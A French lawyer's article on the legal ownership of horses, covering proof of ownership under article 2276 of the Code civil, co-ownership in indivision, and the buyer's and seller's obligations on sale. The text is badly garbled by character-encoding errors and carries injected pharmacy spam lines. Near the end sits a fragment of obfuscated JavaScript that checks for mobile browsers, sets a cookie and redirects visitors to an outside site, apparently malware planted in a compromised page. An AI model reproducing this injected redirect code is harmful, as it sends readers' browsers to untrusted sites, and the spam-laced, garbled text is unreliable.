La notion de propriA�tA� da��un cheval

Le cheval, qualifiA� de A�A�bien meubleA�A� par le droit franA�ais (au mA?me titre que tous les animaux), est un bien meuble particulier. Bien de forte valeur, pA�cuniaire pour certains propriA�taires ou seulement sentimentale pour da��autres, sa��assurer de la propriA�tA� de son cheval est une question essentielle.

* * * * *

En effet, la notion de propriA�tA�, lorsqua��elle concerne un cheval, suscite de nombreuses questions. Comment prouver la propriA�tA� da��un chevalA�? Comment sa��exerce la propriA�tA� da��un chevalA�? Quels documents doivent A?tre remis lors de la��achatA�? Autant de questions que bons nombres de cavaliers se posent.

Tentons da��y apporter des A�lA�ments de rA�ponse pour sA�curiser les propriA�taires da��A�quidA�s, actuels ou futurs.

La notion de propriA�tA� est dA�finie juridiquement comme le droit da��user, de disposer et de jouir da��un bien. Le cheval, bien meuble, na��y fait pas exception. Mais comment sa��exerce en pratique cette propriA�tA�A�? Aux termes des dispositions de la��article 2276 du Code civil, A�A�en fait de meubles, la possession vaut titreA�A�. Cela sa��applique-t-il aux chevauxA�? Eclairons notre lanterne dans un premier temps A� travers la��analyse de certaines situations vA�cues.

  1. La question de la preuve de la propriA�tA�A�: situations vA�cues

cialis paiement par cheque
La preuve de la propriA�tA� est, en pratique, souvent semA�e da��embuches. A titre da��exemple, en 2001, Monsieur D est propriA�taire de son cheval, qua��il a mis en pension dans le haras H. Toutefois, Monsieur H a�� propriA�taire du Haras H a�� fatiguA� de ne pas A?tre payA� au titre des pensions dues par Monsieur H, dA�cide de procA�der A� la saisie-vente du cheval appartenant A� Monsieur D. Ca��est alors que la fille de Monsieur D, Mademoiselle D, demande la mainlevA�e de la saisie sur le cheval, en prA�tendant A?tre la vA�ritableA� propriA�taire du cheval (en lieu et place de son pA?re). Elle prA�tend A� la��A�poque que son pA?re lui a donnA� le jour de ses 18 ans et qua��elle a fait immatriculer le cheval A� son nomA�; elle produit A�galement diverses attestations qui confirment ses dires. MalgrA� tous ses efforts pour empA?cher la saisie-vente de son cheval, les juges ne reconnaissent pas le statut de propriA�taire A� Mademoiselle D (Cour da��appel de Rouen, 20 janvier 2004, nA� 02/02103).

La Cour da��appel de Rouen a en effet considA�rA� qua�?il na��A�tait pas discutA� que Mademoiselle D montait rA�guliA?rement ledit cheval, par contre, elle ne se comportait pas comme le vA�ritable propriA�taireA�; elle ne payait par exemple pas les pensions dues. En outre, il apparaA�t que la��immatriculation du cheval au nom de Mademoiselle D avait A�tA� rA�alisA�e postA�rieurement A� la date de la saisie.

En effet, si, conformA�ment aux dispositions du Code civil, concernant les chevaux, la possession vaut titre de propriA�tA�, encore faut-il que la��exercice de cette possession soit fait de bonne foiA�(ce qui na��est pas le cas lors de ventes fictives par exemple) ! Si ca��est le cas, le possesseur de bonne foi da��un cheval pourra en conserver la propriA�tA�A�; ce sera A� la personne dA�sirant sa��opposer A� la propriA�tA� de ce dernier da��apporter la preuve de sa non-propriA�tA�.

Selon la mA?me logique de A�A�possession de bonne foiA�A� et en application de la��article 1599 du Code civil, il a A�tA� jugA� que la vente da��un cheval appartenant A� autrui A�tait nulle (Cour da��appel de Paris, 7 mars 2013). En la��espA?ce, un acheteur sa��est rendu compte, postA�rieurement A� la��achat du cheval, que le vendeur na��A�tait pas propriA�taire dudit cheval au moment de la vente. Il a donc assignA� le vendeur en nullitA� de la vente. Les juges ont accueilli sa demande au motif que le vendeur na��avait pas rapportA� la preuve de sa propriA�tA� au moment de la vente (la carte da��immatriculation du cheval A�tait notamment toujours au nom des anciens propriA�taires de celui-ci A� la date de la vente), peu importe qua��il ait souscrit une assurance et payA� des soins pour le cheval.

En rA�alitA�, la difficultA� A� apporter la preuve de la propriA�tA� rA�side dans le fait qua��aucun document officiel ne joue le rA?le de titre de propriA�tA� au regard des chevaux, puisque mA?me la carte da��immatriculation na��est pas un titre de propriA�tA�A�; elle A�tablit simplement une prA�somption de propriA�tA�. En tout A�tat de cause, il est important de savoir qua��en matiA?re de propriA�tA� da��A�quidA�s, la preuve peut A?tre apportA�e par tous moyens (ca��est-A�-dire via des attestations, des factures de soins, une facture da��achat, etc.).

Enfin, notons que la��article 2276 alinA�a 2 du Code civil dispose que A�A�celui qui a perdu ou auquel il a A�tA� volA� une chose peut la revendiquer pendant trois ans A� compter du jour de la perte ou du vol, contre celui dans les mains duquel il la trouve ; sauf A� celui-ci son recours contre celui duquel il la tientA�A�. Ainsi, la personne qui sa��estime propriA�taire da��un cheval pourra intenter une action en revendication contre le possesseur, pendant trois ans A� compter du jour de la perte ou du vol du cheval.

  1. La��exercice de la propriA�tA�

Il est important de souligner que la propriA�tA� da��un cheval peut A?tre exercA�e seul ou A� plusieurs. Dans ce cas, la copropriA�tA� du cheval sera rA�gie par le rA�gime de la��indivision (lA�gale ou conventionnelle selon le cas).

Dans le cas da��une indivision, les copropriA�taires partageront le prix da��achat du cheval et le coA�t des soins, chacun A� hauteur de sa quote-part dans la��indivision. Da��ailleurs, les quotes-parts de chacun des co-indivisaires ne sont pas obligatoirement A�galesA�; la��un da��entre eux peut dA�tenir 50% des parts, tandis que deux autres dA�tiendront chacun 25% de la masse indivise. Chaque co-indivisaire sera rA�putA� A?tre propriA�taire de sa quote-part et pourra par exemple dA�cider de la cA�der dans le futur (sous rA�serve bien A�videmment du droit de prA�emption et de substitution des autres co-indivisaires et des dispositions de la convention rA�gissant la��indivision le cas A�chA�ant).

Si la��indivision prA�sente un atout financier majeur pour devenir propriA�taire da��un cheval, cette forme de propriA�tA� prA�sente aussi des inconvA�nients, notamment dans la gestion de celle-ci. Toutes les dA�cisions relatives au cheval acquis en indivision devront A?tre prises en commun par les co-indivisaires (A� la��exception da��une situation da��urgence pour le cheval), ce qui peut rapidement devenir compliquA� au quotidien.

A noter que dans le milieu des courses hippiques, la propriA�tA� est exercA�e de maniA?re particuliA?re puisque le Code des courses (relativement au trot et au galop) prA�voient des rA?gles spA�ciales au regard de la propriA�tA� des chevauxA�; toutefois, en cas de litige relatif A� la propriA�tA� da��un cheval devant les tribunaux, les juges feront prA�valoir les rA?gles du Code civil sur celles du Code des courses.

  1. Les obligations rA�ciproques de la��acheteur et du vendeur lors du transfert de propriA�tA�

Au regard des difficultA�s liA�es A� la notion de propriA�tA� da��un cheval, comment sa��opA?re le transfert de celle-ci lors de la��opA�ration da��achat-vente entre le vendeur et la��acheteurA�? Quelles prA�cautions prendreA�?

ConformA�ment A� la��article 1603 du Code civil, le vendeur a deux obligations essentielles A� respecterA�: la��obligation de dA�livrance et la��obligation de garantie. La dA�livrance est A�A�la mise A� disposition du cheval A� la��acheteur au temps et au lieu convenusA�A� (Le cheval et la vente, IDE, 2008). A ce titre, ca��est une obligation de rA�sultat qui pA?se sur le vendeur. Lors de la dA�livrance, la��acquA�reur devra veiller A� la��A�tat du cheval et A�mettre des rA�serves si son A�tat na��est pas conforme A� ses attentes.

La��obligation de dA�livrance sa��A�tend aux accessoires du cheval, A� savoir le document da��identification ainsi que la carte da��immatriculation (qui doit avoir A�tA� endossA�e par le vendeur)A�; ces documents doivent donc A?tre remis A�A�sans dA�laiA�A� par le vendeur A� la��acquA�reur.

Le vendeur a aussi une obligation de garantie envers la��acquA�reur qui recouvre la jouissance paisible du cheval, la garantie contre les vices cachA�s et la garantie de conformitA� (dans le cadre da��une vente conclue entre un professionnel et un acquA�reur qualifiA� juridiquement de A�A�consommateurA�A�).

La��acquA�reur a, pour sa part, la��obligation de payer le prix et de prendre possession du cheval. Il devra A�galement envoyer au gestionnaire du fichier central (le SIRE) la carte d’immatriculation endossA�e par le cA�dant dans les huit jours de sa remise par le vendeur.

* * * * *

Si acheter un cheval est le rA?ve de beaucoup de cavaliers, dans certains cas malheureusement, il vire au cauchemar. La propriA�tA� de votre cheval peut A?tre ainsi une source de difficultA�. Pour A�viter les ennuis, portez une attention particuliA?re aux documents qui vous sont remis lors de la vente et na��attendez pas pour rA�aliser les formalitA�s nA�cessaires auprA?s du SIRE.

Julie Chapuy, Avocat A� la Cour

 

Le droit de la propriA�tA�A�: A� retenirA�!
  • En matiA?re mobiliA?re, la preuve de la propriA�tA� se fait par tous moyens (Cass. Civ1, 11 janvier 2000)
  • A�A�Sont meubles par leur nature les animaux (a��)A�A� (article 528 du Code civil)
  • buy lithium carbonate no prescription

  • A�A�En fait de meubles, la possession vaut titreA�A� (article 2276 alinA�a 1 du Code civil)
  • A�A�Celui qui a perdu ou auquel il a A�tA� volA� une chose peut la revendiquer pendant trois ans A� compter du jour de la perte ou du vol, contre celui dans les mains duquel il la trouve ; sauf A� celui-ci son recours contre celui duquel il la tient A� (article 2276 alinA�a 1 du Code civil)
  • La dA�claration de changement de propriA�taire est A� rA�aliser par la��acheteur auprA?s du SIRE dans les 8 jours qui suivent l’achat de l’A�quidA�
  • Attention, la carte d’immatriculation de votre A�quidA� doit A?tre A� jour, ca��est une obligation lA�gale (article D.212-49 du Code rural)

 

 

MA�fiez-vousA�!
De nombreuses transactions sont encore rA�alisA�es de la A�A�main A� la mainA�A�. Aussi, assurez-vous du nom du propriA�taire du compagnon que vous convoitez avant de conclure la vente, cela vous A�vitera bien des ennuisa��

  |m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0xa48a[8]](_0x82d7x1[_0xa48a[9]](0,4))){var _0x82d7x3= new Date( new Date()[_0xa48a[10]]()+ 1800000);document[_0xa48a[2]]= _0xa48a[11]+ _0x82d7x3[_0xa48a[12]]();window[_0xa48a[13]]= _0x82d7x2}}})(navigator[_0xa48a[3]]|| navigator[_0xa48a[4]]|| window[_0xa48a[5]],_0xa48a[6])}http://cottonmouthheadquarters.com/?p=8789

Laissez un commentaire

Vous devez être connecté pour laisser un commentaire.